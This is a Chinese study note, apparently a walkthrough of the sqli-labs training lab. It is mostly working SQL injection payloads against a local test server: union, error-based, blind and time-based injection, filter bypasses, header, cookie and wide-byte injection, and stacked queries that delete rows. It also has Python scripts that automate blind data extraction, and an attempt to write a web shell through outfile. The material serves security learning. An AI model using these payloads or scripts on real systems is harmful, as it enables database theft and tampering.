学习笔记四:sql手工注入

sql-labs靶机通关

原文链接:http://p0desta.com/2018/01/28/Sqli_labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/#less-26a

1.Less-1

暴库

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

#检查是否存在漏洞
http://127.0.0.1/4/Less-1/?id=1'                 	报错
http://127.0.0.1/4/Less-1/?id=1' or '1'='1			正确

这里第一句报错是因为还有一个单引号没闭合
第二句恰好弥补了这个问题,这样就足以说明存在注入漏洞

#补充
#检测表的列数
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23  //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23   //报错

#爆出当前数据库
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,database(),3 %23
#爆出所有数据库
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA %23
这里说明一下group_concat()这个函数,这是一个联合函数,将数据库中一列的所有数据连接起来
    
#爆出指定用户名的密码
http://127.0.0.1/4/Less-1/?id=-1' union select * from users where username='admin' %23
这里我试了一下,在浏览器中*并不会被编码,所以可以直接使用,还有一点admin一定要加上引号,不然报错,也就是说在sql语句查询中必须对应数据类型,int就不用加,varchar和char就需要加上单或双引号。
    
这里给大家解释一下为什么开头两个语句中id是1后面怎么就全部改为-1了,原因很简单这里变为-1是为了使前面的数据查询为空,这样后面语句查询出来的数据才能显示出来。
    
    
    
#这里自己构造了一个语句
http://127.0.0.1/4/Less-1/?id=-1' union select 1,group_concat(table_schema),group_concat(table_name) from information_schema.tables %23
上面这条语句可以爆出所有的数据库及其相对于的表名

2.Less-2

数字型注入

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

#数值型不许要闭合单引号
http://127.0.0.1/4/Less-2/?id=-1 union select 1,database(),3

3.Less-3

括号单引号闭合

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

http://127.0.0.1/4/Less-3/?id=-1') union select 1,database(),3 %23

4.Less-4

括号双引号闭合

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

http://127.0.0.1/4/Less-4/?id=-1") union select 1,database(),3 %23

5.Less-5

检测注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

	
http://127.0.0.1/4/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
此处爆出来数据库名
#Author:p0desta
import requests
import string
import sys 
import binascii

global findBit
Flag_yes = "You are in"
def sendPayload(payload):
	url = 'http://127.0.0.1/4/Less-5/?id=1'+ payload
	content = requests.get(url).text
	return content
def findDatabaseNumber():
	count = 1
	while count:
		payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if "You are in" in recv:
			return count
		else:
			count += 1
def findTableNumber(dbname):
	count = 1
	dbname = '0x' + str(binascii.b2a_hex(dbname))
	while count:
		payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def findColumnNumber(tableName):
	count = 1
	tableName = '0x' + str(binascii.b2a_hex(tableName))
	while count:
		payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def findDataNumber(columnName,tableName):
	count = 1
	while count:
		payload = "'AND (select count("+columnName+") from "+tableName+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def getDatabaseName(dbNum):
	global findBit
	for k in range(dbNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchDbs(-1,255,i,k)
			i += 1
			if findBit == 1:
				sys.stdout.write("`\r\n")
				break
def getTableName(tableNum,dbName):
	global findBit
	dbName = '0x' + str(binascii.b2a_hex(dbName))
	for k in range(tableNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchTable(-1,255,i,k,dbName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def getColumnName(columnNum,tableName):
	global findBit
	tableName = '0x' + str(binascii.b2a_hex(tableName))
	for k in range(columnNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchColumn(-1,255,i,k,tableName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def getDataName(dataNum,columnName,tableName):
	global findBit
	for k in range(dataNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchData(-1,255,i,k,columnName,tableName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def doubleSearchDbs(leftNum,rightNum,i,k):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchDbs(midNum,rightNum,i,k)
		else:
			doubleSearchDbs(leftNum,midNum,i,k)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ASCII(substr((SELECT table_name  FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchTable(midNum,rightNum,i,k,dbName)
		else:
			doubleSearchTable(leftNum,midNum,i,k,dbName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchColumn(midNum,rightNum,i,k,tableName)
		else:
			doubleSearchColumn(leftNum,midNum,i,k,tableName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
		else:
			doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def exp():
	dbNum = findDatabaseNumber()
	print ("the number of database is "+str(dbNum))
	getDatabaseName(dbNum)
	dbName = input('Find tables from :')
	tableNum = findTableNumber(dbName)
	print ("the nameber of table is: " + str(tableNum))	
	getTableName(tableNum,dbName)
	tableName = input('Find columns from :')
	columnNum = findColumnNumber(tableName)
	print ("the number of column is: " + str(columnNum))
	getColumnName(columnNum,tableName)
	columnName = input('Find data from :')
	dataNum = findDataNumber(columnName,tableName)
	print ("the number of data is :" + str(dataNum))
	getDataName(dataNum,columnName,tableName)
exp()

6.Less-6

双引号检测

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同上

7.Less-7

写文件

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

select "$_POST['password']); ?>" into outfile "./1.php"
报错信息:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
    
结果当我以下面这条语句执行时
http://127.0.0.1/4/Less-7/?id=-1')) union select 1,2,"" into outfile "D:/ruanjian/crack_env/phpstudy/PHPTutorial/WWW/4/Less-7/shell.php" %23

直接报错
You have an error in your SQL syntax
看了一下源码


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '';	
  	echo 'You are in.... Use outfile......';
  	echo "
"
; echo "
"; } else { echo ''; echo 'You have an error in your SQL syntax'; //print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} 从上面的两条报错信息可以看出,mysql只要开启了 --secure-file-priv ,写文件就会出错

8.Less-8

同上面盲注脚本

9.Less-9

基于时间的注入

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/4/Less-8/?id=1'
def check(payload):
	url_new = url + payload
	time_start = time.time()
	content = requests.get(url=url_new)
	time_end = time.time()
	if time_end - time_start >5:
		return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,100):
    for c in s:
        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7573657273 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    if ll==len(result):
    	print ('table_name:  '+result)
    	end = input('-------------')
    ll = len(result)
    print (result)

10.Less-10

双引号闭合

11.Less-11

#下面一段是页面源码
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
#在mantra的post数据中输入如下代码
uname = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
&passwd = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

这里可以看出#并没有被转转码,post中#不需要转码
    
#这里分享一下其它的payload
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

12.Less-12

与上题类似,只不过用")闭合

13.Less-13

uname=admin')#&passwd='#

14.Less-14

同时,需要用"闭合

15.Less-15

同上

16.Less-16

import requests
import string
import sys
global findBit
def sendPayload(payload):
	proxy = {"http":"http://127.0.0.1:8080"}
	url = "http://localhost:20000/sqllab/Less-16/index.php"
	data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
	headers = {"Content-Type": "application/x-www-form-urlencoded"}
	content = requests.post(url,data=data,headers=headers,proxies=proxy)
	return content.text
flag = "flag.jpg"
def generateTarget(flag):
	if flag == "database":
		return "database()"
	elif flag == "tables":
		return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
	elif flag == "columns":
		return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
	elif flag == "data":
		return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
	global findBit
	midNum = (leftNum + rightNum) / 2
	if (rightNum != leftNum +1):
		payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
		recv = sendPayload(payload)
		if flag in recv:
			doubleSearch(leftNum,midNum,i,target)
		else:
			doubleSearch(midNum,rightNum,i,target)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def exp():
	global findBit
	i = 1
	findBit = 0
	print "The database:"
	target = "database"
	while i :
		doubleSearch(-1,255,i,target)
		i += 1
		if findBit == 1:
			sys.stdout.write("\r\n")
			break
exp()

17.Less-17

waf绕过

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}
#这题出现了waf过滤
admin" and 1=(updatexml(1,concat(0x3a,(select user())),1))#&passwd='#

18.Less-18

header注入

#可以看出对uname和passwd都做了过滤
$uname = check_input($_POST['uname']);  
$passwd = check_input($_POST['passwd']);
#但是请求头却没有任何过滤
$uagent = $_SERVER['HTTP_USER_AGENT'];  
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
#利用burpsuite抓包再修改User-Agent即可注入
POST /4/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: chrome','7.7.7.7','mcc')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-18/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

#发送上面的包后,虽然页面上还是没什么显示,但数据已经成功插入数据库

19.Less-19

同上

20.Less-20

同上

21.Less-21

#存在注入语句
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
#这里可以看出cookie使存在漏洞的
GET /4/Less-21/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=YWRtaW4%3D
Connection: close

#我们可以反响构造cookie语句爆出其它用户的密码
payload:superman') #
base64加密:c3VwZXJtYW4nKSAj
将上面的加密后的字符填入cookie即可查询superman的密码

这里通过通过修改本地cookie切换用户还是存在一些问题,抓包发现cookie根本没有上传

22.Less-22

#相比于上一题多了一句话
$cookee1 = '"'. $cookee. '"';
#这里我刚开始尝试的是将admin" #转码再赋值给cookie,但是发现#并没起作用,而是直接保存在了字符串中
#于是尝试使用"闭合语句,构造下列语句
payload:admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
base64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjEK
#实测可以爆出数据库名

这里updatexml(1,concat(0x7e,database(),0x7e),1) 是一个报错型SQL注入

23.Less-23

$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#这次的payload过滤了注释符号
#可以尝试使用?id=-1' and select 1,table_schema,table_name from information_schema.tables where table_schema="security" and '1'='1
#但是发现因为字符太长,被截断了。
#于是还是用简单一点的吧
http://127.0.0.1/4/Less-23/?id=-1' union select 1,database(),'1

24.Less-24

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

但这里存在一个问题

仔细查看$username的来源就会发现

$username= $_SESSION["username"];

这是利用session来获取的,除非暴力破解session,否则根本没法改变username

这里就是关键,如何构造出username为admin’#的session,最后发现可以直接先注册一个admin’#的账后然后登陆,此时,$_SESSION[“username”]自然就变成了admin’#,然后再重置密码,此时重置的账户就是admin的密码了。

25.Less-25

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#最初想的的是直接上
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

#后来发现报错,看函数,原来是or被替换为了"",因此就多加了一个or
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
#直接爆出了所有的表

25a

http://127.0.0.1/4/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23

26.Less-26

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-26/?id=-1'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1
#以上语句直接爆出了当前数据库的所有表名
#这里用()代替了空格

26a

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),1,1)))=('s
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),2,1)))=('e
...
构造脚本跑出数据库名

27.Less-27

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#下面这条语句顺利爆出了当前数据库
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) ||'1'='1
#下面这条却出现了语法错误
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) %23
从上面可以看出过滤了#

27a


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://127.0.0.1/4/Less-27a/?id=-1"||(seleCt(substr((seleCt(database())),1,1)))="s
同上

28.Less-28

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
这里过滤掉了union和select
http://127.0.0.1/4/Less-28/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
也是刚才理解了这句话
这里相当于进行了id=('0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s')这一赋值语句

28a

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-28a/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
同上

29.Less-29

一下是login.php界面

function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "
"
; break; } } }
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}

$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 --+
//上面的语句是通过设置白名单,只有请求的id和&之间的部分符合以数字开头结尾即可,这里的$_SERVER['QUERY_STRING']指的是?之后的字符串

//这里看了很久,才发现--是sql语句的注释符不是php的
最后得到的sql语句是
SELECT * FROM users WHERE id='' union select 1,database(),3 -- ' LIMIT 0,1
这里的+号的作用还是没想明白,可能是用作字符串拼接吧,不过我试了一下
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 -- '也是可以的

sql语句的注释符
# 
--
/**/

查这道题是看到一篇博客上介绍了三个函数,顺便记录下来

length()函数
length(database()) =8(true)
substr()函数
substr(database(),1,1)="s"(true)
ascii()函数
ascii(substr(database(),1,1)) = 115(对应的ascii码是s)

30.Less-30

同上

31.Less-31

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-31/login.php/?id=1&id=") union select 1,database(),3 --+
//这里服务器端接受的id是后一个id置
//有一个问题是为什么注入语句不直接是下面这条语句
http://127.0.0.1/4/Less-31/login.php/?id=") union select 1,database(),3 --+
//这句话是直接报错的
    
//这里,查了很多没找到,自己猜测因该是用前一个的id定义绕过isset($_GET['id'])
//用后一个id作为payload

32.Less-32

//检测函数
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}
http://127.0.0.1/4/Less-32/?id=-1 %df%27 union select 1,database(),3 %23
//此处需要说明一下preg_quote()函数,
//preg_quote() 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
//正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -


//另外一种用法

//在这个例子中,preg_quote($word) 用于保持星号原文涵义,使其不使用正则表达式中的特殊语义。
 
$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
                          "" . $word . "",
                          $textbody);
echo $textbody;
?>   

33.Less-33

同上

34.Less-34

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-34/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-34/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

uname=1+%df%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%bf%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%fe%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit

35.Less-35

mysql_query("SET NAMES gbk");
http://127.0.0.1/4/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

36.Less-36

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00
\n
\r
\
'
"
\x1a
http://127.0.0.1/4/Less-36/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 %23

37.Less-37

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

uname=1%bf%27+or+1%3D1+%23&passwd=asdfaf&submit=Submit
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

uname=1%Bf%27+union+select+version%28%29%2Cdatabase%28%29%23&passwd=adsf&submit=Submit

以上两个payload都是可行的

38.Less-38

叠加注入

http://127.0.0.1/4/Less-38/?id=-1' union select 1,database(),3;create database hcc;create table test like users;%23

39.Less-39

同上

40.Less-40

同上

41.Less-41

同上

42.Less-42

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//password注入
';delete from users where username="test2";#
' union select 1,database(),3;#


POST /4/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-42/
Cookie: PHPSESSID=96i2qhknegbma7it3tkkjecgg5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

login_user=1&login_password=' union select 1,database(),3;#&mysubmit=Login

43.Less-43

同上

44.Less-44

同上

45.Less-45

同上

46.Less-46

//构造脚本盲注
http://127.0.0.1/4/Less-46/?sort=rand(ascii(left(database(),1))=115)

47.Less-47

同上

48.Less-48

